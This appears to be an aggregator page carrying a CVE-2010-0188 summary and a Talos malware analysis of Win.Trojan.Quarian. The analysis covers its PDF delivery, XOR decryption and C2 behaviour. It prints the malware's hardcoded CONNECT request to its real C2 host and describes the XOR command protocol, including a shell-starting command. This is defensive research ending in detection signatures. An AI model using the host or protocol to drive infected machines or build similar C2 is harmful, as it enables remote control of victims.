Quarian: Reversing the C&C Protocol
Vulnerabilities mentionedAll →
| CVE | Vulnerability | CVSS | EPSS | Flags | Affected | Exposure | Published |
|---|---|---|---|---|---|---|---|
| CVE-2010-0188 | Arbitrary Code Execution in Adobe Reader and Acrobat via Malicious PDF Handling CVE-2010-0188 is an unspecified code-injection (CWE-94) flaw in Adobe Reader and Acrobat that allows attackers to cause a denial of service or possibly execute arbitrary code on the victim's machine. It is triggered when an affected application processes a maliciously crafted PDF document, typically delivered as an email attachment or downloaded from a website, so simply viewing the file with vulnerable software is enough to expose the user. A successful attack gives the attacker code execution in the context of the logged-on user, which can be leveraged to install malware or ransomware. Anyone running Adobe Reader or Acrobat is affected; CISA lists the products without published version ranges, so all Adobe deployments should be treated as potentially in scope. Exploitation is confirmed in the wild: the flaw is in CISA KEV (added 2022-03-03) with known ransomware use, and EPSS assigns an 88.2% probability of exploitation within 30 days (100th percentile). Do: Apply updates per vendor instructions: install the Adobe security update that fixes CVE-2010-0188 on any legacy Acrobat/Reader deployment and migrate unsupported installations to a currently supported Acrobat/Reader release. Given the known ransomware association, hunt for signs of compromise such as suspicious PDF attachments opened around malware activity, and block or sandbox PDFs at email and web gateways. Verify no critical hosts or automated workflows still depend on outdated Reader/Acrobat components for PDF processing. | — | 88% | KEV ransomware |
| masshundreds of millions of installed copies (Reader/Acrobat historically shipped as the default PDF handler on most Windows PCs; exact count of still-vulnerable… |
Full article527 words · extracted from blog.talosintelligence.com · click to collapse
Thursday, December 6, 2012 09:41
Win.Trojan.Quarian was reportedly first found in a leaked email from the Syrian Ministry of Foreign Affairs. It arrives on the victim's machine via a PDF document. The PDF contains an exploit for CVE-2010-0188 which, if successful, passes execution to embedded shellcode. The shellcode then extracts 0x8A218 bytes at offset 0xD98 in the PDF decrypting this with a XOR cipher and saving it as "%TEMP%\explorer.exe", which is the main malware executable. An embedded PDF document "%TEMP%\964.PDF" is similarly dumped and a new Adobe Reader process is launched to display it. The user is presented with this PDF with the malware running in the background.
The malware's CNC traffic will depend on the proxy settings of the infected machine. If a proxy is configured then the malware will attempt to connect to it with the following:
CONNECT sureshreddy1.dns05.com:443 HTTP/1.0
User-Agent: Mozilla/4.0
Host: sureshreddy1.dns05.com
Content_length: 0
Proxy-Connetion: Keep-Alive
Pragma: no-cache
The malware's CNC host "sureshreddy1.dns05.com" is hardcoded. Also notice the misspelled "Proxy-Connetion" and the underscore and lowercase 'l' in the header "Content_length". These anomalies in the proxy connection are easy to spot in the main malware executable and on the wire. However, the direct CNC traffic is not. Every time the malware loads it sends 8 bytes to "sureshreddy1.dns05.com". Since the CNC server was not online at the time we began our research we couldn't make any observations on the response to these 8 bytes. We decided to reverse the CNC protocol and see if we could send the malware commands:
Starting with the hypothesis that the first 8 bytes sent to the CNC server were some kind of key, we attached the malware process in a debugger and began to observe the malware's behavior when bytes were sent as a response to the malware's initial 8 byte message.
We noticed that when sending 8 NULLs in a response some of the comparisons made by the malware code would result in the 8 byte key that was sent. From this observation we knew the malware was expecting an XOR key from the CNC server in order to process commands. After some trial and error, we had a local CNC server up and running:
The CNC protocol uses a XOR key on both sides to communicate commands and responses. If a direct connection exists (or after starting a proxy connection) the malware will send CNC an 8 byte XOR key. CNC will then respond with its own 8 byte XOR key XOR'd with the malware key. When CNC sends a command, it XORs each byte of the command with the cnc_key, and when the malware sends a response it XORs each byte of the response with the mal_key:
Malware Command and Control
------------- -------------------
mal_key ---->
<---- mal_key ^ cnc_key
<---- cmd ^ cnc_key
res ^ mal_key ---->
Commands are implemented in a switch statment where 0x01 dumps various system info and 0x06 starts a shell. If a command has an argument, it immediately follows the command byte. See the IDA dump below:
As always, the VRT has coverage for this threat with SIDs 24858 & 24859 on the Snort side and Sig Win.Trojan.Quarian for Clamav.
Text extracted automatically; images, tables and formatting may be missing. Original: https://blog.talosintelligence.com/quarian/